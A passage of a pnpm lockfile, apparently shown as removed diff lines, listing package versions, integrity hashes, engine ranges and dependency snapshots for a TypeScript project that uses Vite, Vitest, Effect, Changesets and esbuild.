type-fest@4.41.0: - resolution: {integrity: sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==} - engines: {node: '>=16'} - - type-fest@5.3.1: - resolution: {integrity: sha512-VCn+LMHbd4t6sF3wfU/+HKT63C9OoyrSIf4b+vtWHpt2U7/4InZG467YDNMFMR70DdHjAdpPWmw2lzRdg0Xqqg==} - engines: {node: '>=20'} - - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} - engines: {node: '>=14.17'} - hasBin: true - - undici-types@6.21.0: - resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} - - undici@7.22.0: - resolution: {integrity: sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg==} - engines: {node: '>=20.18.1'} - - universalify@0.1.2: - resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} - engines: {node: '>= 4.0.0'} - - until-async@3.0.2: - resolution: {integrity: sha512-IiSk4HlzAMqTUseHHe3VhIGyuFmN90zMTpD3Z3y8jeQbzLIq500MVM7Jq2vUAnTKAFPJrqwkzr6PoTcPhGcOiw==} - - uuid@11.1.0: - resolution: {integrity: sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==} - hasBin: true - - vite-node@3.2.4: - resolution: {integrity: sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==} - engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} - hasBin: true - - vite@7.3.1: - resolution: {integrity: sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==} - engines: {node: ^20.19.0 || >=22.12.0} - hasBin: true - peerDependencies: - '@types/node': ^20.19.0 || >=22.12.0 - jiti: '>=1.21.0' - less: ^4.0.0 - lightningcss: ^1.21.0 - sass: ^1.70.0 - sass-embedded: ^1.70.0 - stylus: '>=0.54.8' - sugarss: ^5.0.0 - terser: ^5.16.0 - tsx: ^4.8.1 - yaml: ^2.4.2 - peerDependenciesMeta: - '@types/node': - optional: true - jiti: - optional: true - less: - optional: true - lightningcss: - optional: true - sass: - optional: true - sass-embedded: - optional: true - stylus: - optional: true - sugarss: - optional: true - terser: - optional: true - tsx: - optional: true - yaml: - optional: true - - vitest@3.2.4: - resolution: {integrity: sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==} - engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} - hasBin: true - peerDependencies: - '@edge-runtime/vm': '*' - '@types/debug': ^4.1.12 - '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 - '@vitest/browser': 3.2.4 - '@vitest/ui': 3.2.4 - happy-dom: '*' - jsdom: '*' - peerDependenciesMeta: - '@edge-runtime/vm': - optional: true - '@types/debug': - optional: true - '@types/node': - optional: true - '@vitest/browser': - optional: true - '@vitest/ui': - optional: true - happy-dom: - optional: true - jsdom: - optional: true - - which@2.0.2: - resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} - engines: {node: '>= 8'} - hasBin: true - - why-is-node-running@2.3.0: - resolution: {integrity: sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==} - engines: {node: '>=8'} - hasBin: true - - widest-line@5.0.0: - resolution: {integrity: sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA==} - engines: {node: '>=18'} - - wrap-ansi@6.2.0: - resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==} - engines: {node: '>=8'} - - wrap-ansi@7.0.0: - resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} - engines: {node: '>=10'} - - wrap-ansi@8.1.0: - resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} - engines: {node: '>=12'} - - wrap-ansi@9.0.2: - resolution: {integrity: sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==} - engines: {node: '>=18'} - - wrappy@1.0.2: - resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} - - ws@8.19.0: - resolution: {integrity: sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==} - engines: {node: '>=10.0.0'} - peerDependencies: - bufferutil: ^4.0.1 - utf-8-validate: '>=5.0.2' - peerDependenciesMeta: - bufferutil: - optional: true - utf-8-validate: - optional: true - - wsl-utils@0.1.0: - resolution: {integrity: sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==} - engines: {node: '>=18'} - - y18n@5.0.8: - resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} - engines: {node: '>=10'} - - yaml@2.8.2: - resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==} - engines: {node: '>= 14.6'} - hasBin: true - - yargs-parser@21.1.1: - resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==} - engines: {node: '>=12'} - - yargs@17.7.2: - resolution: {integrity: sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==} - engines: {node: '>=12'} - - yoctocolors-cjs@2.1.3: - resolution: {integrity: sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==} - engines: {node: '>=18'} - - yoga-layout@3.2.1: - resolution: {integrity: sha512-0LPOt3AxKqMdFBZA3HBAt/t/8vIKq7VaQYbuA8WxCgung+p9TVyKRYdpvCb80HcdTN2NkbIKbhNwKUfm3tQywQ==} - -snapshots: - - '@0no-co/graphql.web@1.2.0(graphql@16.12.0)': - optionalDependencies: - graphql: 16.12.0 - - '@0no-co/graphqlsp@1.15.2(graphql@16.12.0)(typescript@5.9.3)': - dependencies: - '@gql.tada/internal': 1.0.8(graphql@16.12.0)(typescript@5.9.3) - graphql: 16.12.0 - typescript: 5.9.3 - - '@alcalzone/ansi-tokenize@0.1.3': - dependencies: - ansi-styles: 6.2.3 - is-fullwidth-code-point: 4.0.0 - - '@ampproject/remapping@2.3.0': - dependencies: - '@jridgewell/gen-mapping': 0.3.13 - '@jridgewell/trace-mapping': 0.3.31 - - '@apidevtools/json-schema-ref-parser@15.3.5(@types/json-schema@7.0.15)': - dependencies: - '@types/json-schema': 7.0.15 - js-yaml: 4.1.1 - - '@ark/schema@0.56.0': - dependencies: - '@ark/util': 0.56.0 - - '@ark/util@0.56.0': {} - - '@babel/helper-string-parser@7.27.1': {} - - '@babel/helper-validator-identifier@7.28.5': {} - - '@babel/parser@7.28.5': - dependencies: - '@babel/types': 7.28.5 - - '@babel/runtime@7.28.4': {} - - '@babel/types@7.28.5': - dependencies: - '@babel/helper-string-parser': 7.27.1 - '@babel/helper-validator-identifier': 7.28.5 - - '@bcoe/v8-coverage@1.0.2': {} - - '@biomejs/biome@1.9.4': - optionalDependencies: - '@biomejs/cli-darwin-arm64': 1.9.4 - '@biomejs/cli-darwin-x64': 1.9.4 - '@biomejs/cli-linux-arm64': 1.9.4 - '@biomejs/cli-linux-arm64-musl': 1.9.4 - '@biomejs/cli-linux-x64': 1.9.4 - '@biomejs/cli-linux-x64-musl': 1.9.4 - '@biomejs/cli-win32-arm64': 1.9.4 - '@biomejs/cli-win32-x64': 1.9.4 - - '@biomejs/cli-darwin-arm64@1.9.4': - optional: true - - '@biomejs/cli-darwin-x64@1.9.4': - optional: true - - '@biomejs/cli-linux-arm64-musl@1.9.4': - optional: true - - '@biomejs/cli-linux-arm64@1.9.4': - optional: true - - '@biomejs/cli-linux-x64-musl@1.9.4': - optional: true - - '@biomejs/cli-linux-x64@1.9.4': - optional: true - - '@biomejs/cli-win32-arm64@1.9.4': - optional: true - - '@biomejs/cli-win32-x64@1.9.4': - optional: true - - '@changesets/apply-release-plan@7.0.14': - dependencies: - '@changesets/config': 3.1.2 - '@changesets/get-version-range-type': 0.4.0 - '@changesets/git': 3.0.4 - '@changesets/should-skip-package': 0.1.2 - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - detect-indent: 6.1.0 - fs-extra: 7.0.1 - lodash.startcase: 4.4.0 - outdent: 0.5.0 - prettier: 2.8.8 - resolve-from: 5.0.0 - semver: 7.7.3 - - '@changesets/assemble-release-plan@6.0.9': - dependencies: - '@changesets/errors': 0.2.0 - '@changesets/get-dependents-graph': 2.1.3 - '@changesets/should-skip-package': 0.1.2 - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - semver: 7.7.3 - - '@changesets/changelog-git@0.2.1': - dependencies: - '@changesets/types': 6.1.0 - - '@changesets/cli@2.29.8(@types/node@22.19.3)': - dependencies: - '@changesets/apply-release-plan': 7.0.14 - '@changesets/assemble-release-plan': 6.0.9 - '@changesets/changelog-git': 0.2.1 - '@changesets/config': 3.1.2 - '@changesets/errors': 0.2.0 - '@changesets/get-dependents-graph': 2.1.3 - '@changesets/get-release-plan': 4.0.14 - '@changesets/git': 3.0.4 - '@changesets/logger': 0.1.1 - '@changesets/pre': 2.0.2 - '@changesets/read': 0.6.6 - '@changesets/should-skip-package': 0.1.2 - '@changesets/types': 6.1.0 - '@changesets/write': 0.4.0 - '@inquirer/external-editor': 1.0.3(@types/node@22.19.3) - '@manypkg/get-packages': 1.1.3 - ansi-colors: 4.1.3 - ci-info: 3.9.0 - enquirer: 2.4.1 - fs-extra: 7.0.1 - mri: 1.2.0 - p-limit: 2.3.0 - package-manager-detector: 0.2.11 - picocolors: 1.1.1 - resolve-from: 5.0.0 - semver: 7.7.3 - spawndamnit: 3.0.1 - term-size: 2.2.1 - transitivePeerDependencies: - - '@types/node' - - '@changesets/config@3.1.2': - dependencies: - '@changesets/errors': 0.2.0 - '@changesets/get-dependents-graph': 2.1.3 - '@changesets/logger': 0.1.1 - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - fs-extra: 7.0.1 - micromatch: 4.0.8 - - '@changesets/errors@0.2.0': - dependencies: - extendable-error: 0.1.7 - - '@changesets/get-dependents-graph@2.1.3': - dependencies: - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - picocolors: 1.1.1 - semver: 7.7.3 - - '@changesets/get-release-plan@4.0.14': - dependencies: - '@changesets/assemble-release-plan': 6.0.9 - '@changesets/config': 3.1.2 - '@changesets/pre': 2.0.2 - '@changesets/read': 0.6.6 - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - - '@changesets/get-version-range-type@0.4.0': {} - - '@changesets/git@3.0.4': - dependencies: - '@changesets/errors': 0.2.0 - '@manypkg/get-packages': 1.1.3 - is-subdir: 1.2.0 - micromatch: 4.0.8 - spawndamnit: 3.0.1 - - '@changesets/logger@0.1.1': - dependencies: - picocolors: 1.1.1 - - '@changesets/parse@0.4.2': - dependencies: - '@changesets/types': 6.1.0 - js-yaml: 4.1.1 - - '@changesets/pre@2.0.2': - dependencies: - '@changesets/errors': 0.2.0 - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - fs-extra: 7.0.1 - - '@changesets/read@0.6.6': - dependencies: - '@changesets/git': 3.0.4 - '@changesets/logger': 0.1.1 - '@changesets/parse': 0.4.2 - '@changesets/types': 6.1.0 - fs-extra: 7.0.1 - p-filter: 2.1.0 - picocolors: 1.1.1 - - '@changesets/should-skip-package@0.1.2': - dependencies: - '@changesets/types': 6.1.0 - '@manypkg/get-packages': 1.1.3 - - '@changesets/types@4.1.0': {} - - '@changesets/types@6.1.0': {} - - '@changesets/write@0.4.0': - dependencies: - '@changesets/types': 6.1.0 - fs-extra: 7.0.1 - human-id: 4.1.3 - prettier: 2.8.8 - - '@clack/core@0.4.2': - dependencies: - picocolors: 1.1.1 - sisteransi: 1.0.5 - - '@clack/prompts@0.10.1': - dependencies: - '@clack/core': 0.4.2 - picocolors: 1.1.1 - sisteransi: 1.0.5 - - '@effect/cli@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(@effect/printer-ansi@0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19))(@effect/printer@0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/platform': 0.94.5(effect@3.19.19) - '@effect/printer': 0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19) - '@effect/printer-ansi': 0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19) - effect: 3.19.19 - ini: 4.1.3 - toml: 3.0.0 - yaml: 2.8.2 - - '@effect/cluster@0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/platform': 0.94.5(effect@3.19.19) - '@effect/rpc': 0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@effect/sql': 0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@effect/workflow': 0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19) - effect: 3.19.19 - kubernetes-types: 1.30.0 - - '@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/platform': 0.94.5(effect@3.19.19) - effect: 3.19.19 - uuid: 11.1.0 - - '@effect/platform-node-shared@0.57.1(@effect/cluster@0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/cluster': 0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19) - '@effect/platform': 0.94.5(effect@3.19.19) - '@effect/rpc': 0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@effect/sql': 0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@parcel/watcher': 2.5.6 - effect: 3.19.19 - multipasta: 0.2.7 - ws: 8.19.0 - transitivePeerDependencies: - - bufferutil - - utf-8-validate - - '@effect/platform-node@0.104.1(@effect/cluster@0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/cluster': 0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19) - '@effect/platform': 0.94.5(effect@3.19.19) - '@effect/platform-node-shared': 0.57.1(@effect/cluster@0.56.4(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19) - '@effect/rpc': 0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@effect/sql': 0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - effect: 3.19.19 - mime: 3.0.0 - undici: 7.22.0 - ws: 8.19.0 - transitivePeerDependencies: - - bufferutil - - utf-8-validate - - '@effect/platform@0.94.5(effect@3.19.19)': - dependencies: - effect: 3.19.19 - find-my-way-ts: 0.1.6 - msgpackr: 1.11.8 - multipasta: 0.2.7 - - '@effect/printer-ansi@0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/printer': 0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19) - '@effect/typeclass': 0.38.0(effect@3.19.19) - effect: 3.19.19 - - '@effect/printer@0.47.0(@effect/typeclass@0.38.0(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/typeclass': 0.38.0(effect@3.19.19) - effect: 3.19.19 - - '@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/platform': 0.94.5(effect@3.19.19) - effect: 3.19.19 - msgpackr: 1.11.8 - - '@effect/sql@0.49.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/experimental': 0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@effect/platform': 0.94.5(effect@3.19.19) - effect: 3.19.19 - uuid: 11.1.0 - - '@effect/typeclass@0.38.0(effect@3.19.19)': - dependencies: - effect: 3.19.19 - - '@effect/workflow@0.16.0(@effect/experimental@0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(@effect/platform@0.94.5(effect@3.19.19))(@effect/rpc@0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19))(effect@3.19.19)': - dependencies: - '@effect/experimental': 0.58.0(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - '@effect/platform': 0.94.5(effect@3.19.19) - '@effect/rpc': 0.73.2(@effect/platform@0.94.5(effect@3.19.19))(effect@3.19.19) - effect: 3.19.19 - - '@esbuild/aix-ppc64@0.25.12': - optional: true - - '@esbuild/aix-ppc64@0.27.2': - optional: true - - '@esbuild/android-arm64@0.25.12': - optional: true - - '@esbuild/android-arm64@0.27.2': - optional: true - - '@esbuild/android-arm@0.25.12': - optional: true - - '@esbuild/android-arm@0.27.2': - optional: true - - '@esbuild/android-x64@0.25.12': - optional: true - - '@esbuild/android-x64@0.27.2': - optional: true - - '@esbuild/darwin-arm64@0.25.12': - optional: true - - '@esbuild/darwin-arm64@0.27.2': - optional: true - - '@esbuild/darwin-x64@0.25.12': - optional: true - - '@esbuild/darwin-x64@0.27.2': - optional: true - - '@esbuild/freebsd-arm64@0.25.12': - optional: true - - '@esbuild/freebsd-arm64@0.27.2': - optional: true - - '@esbuild/freebsd-x64@0.25.12': - optional: true - - '@esbuild/freebsd-x64@0.27.2': - optional: true - - '@esbuild/linux-arm64@0.25.12': - optional: true - - '@esbuild/linux-arm64@0.27.2': - optional: true - - '@esbuild/linux-arm@0.25.12': - optional: true - - '@esbuild/linux-arm@0.27.2': - optional: true - - '@esbuild/linux-ia32@0.25.12': - optional: true - - '@esbuild/linux-ia32@0.27.2': - optional: true - - '@esbuild/linux-loong64@0.25.12': - optional: true - - '@esbuild/linux-loong64@0.27.2': - optional: true - - '@esbuild/linux-mips64el@0.25.12': - optional: true - - '@esbuild/linux-mips64el@0.27.2': - optional: true - - '@esbuild/linux-ppc64@0.25.12': - optional: true - - '@esbuild/linux-ppc64@0.27.2': - optional: true - - '@esbuild/linux-riscv64@0.25.12': - optional: true - - '@esbuild/linux-riscv64@0.27.2': - optional: true - - '@esbuild/linux-s390x@0.25.12': - optional: true - - '@esbuild/linux-s390x@0.27.2': - optional: true - - '@esbuild/linux-x64@0.25.12': - optional: true - - '@esbuild/linux-x64@0.27.2': - optional: true - - '@esbuild/netbsd-arm64@0.25.12': - optional: true - - '@esbuild/netbsd-arm64@0.27.2': - optional: true - - '@esbuild/netbsd-x64@0.25.12': - optional: true - - '@esbuild/netbsd-x64@0.27.2': - optional: true - - '@esbuild/openbsd-arm64@0.25.12': - optional: true - - '@esbuild/openbsd-arm64@0.27.2': - optional: true - - '@esbuild/openbsd-x64@0.25.12': - optional: true - - '@esbuild/openbsd-x64@0.27.2': - optional: true - - '@esbuild/openharmony-arm64@0.25.12': - optional: true - - '@esbuild/openharmony-arm64@0.27.2': - optional: true - - '@esbuild/sunos-x64@0.25.12': - optional: true - - '@esbuild/sunos-x64@0.27.2': - optional: true - - '@esbuild/win32-arm64@0.25.12': - optional: true - - '@esbuild/win32-arm64@0.27.2': - optional: true - - '@esbuild/win32-ia32@0.25.12': - optional: true - - '@esbuild/win32-ia32@0.27.2': - optional: true - - '@esbuild/win32-x64@0.25.12': - optional: true - - '@esbuild/win32-x64@0.27.2': - optional: true - - '@gql.tada/cli-utils@1.7.2(@0no-co/graphqlsp@1.15.2(graphql@16.12.0)(typescript@5.9.3))(graphql@16.12.0)(typescript@5.9.3)': - dependencies: - '@0no-co/graphqlsp': 1.15.2(graphql@16.12.0)(typescript@5.9.3) - '@gql.tada/internal': 1.0.8(graphql@16.12.0)(typescript@5.9.3) - graphql: 16.12.0 - typescript: 5.9.3 - - '@gql.tada/internal@1.0.8(graphql@16.12.0)(typescript@5.9.3)': - dependencies: - '@0no-co/graphql.web': 1.2.0(graphql@16.12.0) - graphql: 16.12.0 - typescript: 5.9.3 - - '@graphql-typed-document-node/core@3.2.0(graphql@16.12.0)': - dependencies: - graphql: 16.12.0 - - '@iarna/toml@2.2.5': {} - - '@inkjs/ui@2.0.0(ink@5.2.1(@types/react@18.3.1)(react@18.3.1))': - dependencies: - chalk: 5.6.2 - cli-spinners: 3.3.0 - deepmerge: 4.3.1 - figures: 6.1.0 - ink: 5.2.1(@types/react@18.3.1)(react@18.3.1) - - '@inquirer/ansi@1.0.2': {} - - '@inquirer/confirm@5.1.21(@types/node@22.19.3)': - dependencies: - '@inquirer/core': 10.3.2(@types/node@22.19.3) - '@inquirer/type': 3.0.10(@types/node@22.19.3) - optionalDependencies: - '@types/node': 22.19.3 - - '@inquirer/core@10.3.2(@types/node@22.19.3)': - dependencies: - '@inquirer/ansi': 1.0.2 - '@inquirer/figures': 1.0.15 - '@inquirer/type': 3.0.10(@types/node@22.19.3) - cli-width: 4.1.0 - mute-stream: 2.0.0 - signal-exit: 4.1.0 - wrap-ansi: 6.2.0 - yoctocolors-cjs: 2.1.3 - optionalDependencies: - '@types/node': 22.19.3 - - '@inquirer/external-editor@1.0.3(@types/node@22.19.3)': - dependencies: - chardet: 2.1.1 - iconv-lite: 0.7.2 - optionalDependencies: - '@types/node': 22.19.3 - - '@inquirer/figures@1.0.15': {} - - '@inquirer/type@3.0.10(@types/node@22.19.3)': - optionalDependencies: - '@types/node': 22.19.3 - - '@isaacs/cliui@8.0.2': - dependencies: - string-width: 5.1.2 - string-width-cjs: string-width@4.2.3 - strip-ansi: 7.1.2 - strip-ansi-cjs: strip-ansi@6.0.1 - wrap-ansi: 8.1.0 - wrap-ansi-cjs: wrap-ansi@7.0.0 - - '@istanbuljs/schema@0.1.3': {} - - '@jridgewell/gen-mapping@0.3.13': - dependencies: - '@jridgewell/sourcemap-codec': 1.5.5 - '@jridgewell/trace-mapping': 0.3.31 - - '@jridgewell/resolve-uri@3.1.2': {} - - '@jridgewell/sourcemap-codec@1.5.5': {} - - '@jridgewell/trace-mapping@0.3.31': - dependencies: - '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.5 - - '@manypkg/find-root@1.1.0': - dependencies: - '@babel/runtime': 7.28.4 - '@types/node': 12.20.55 - find-up: 4.1.0 - fs-extra: 8.1.0 - - '@manypkg/get-packages@1.1.3': - dependencies: - '@babel/runtime': 7.28.4 - '@changesets/types': 4.1.0 - '@manypkg/find-root': 1.1.0 - fs-extra: 8.1.0 - globby: 11.1.0 - read-yaml-file: 1.1.0 - - 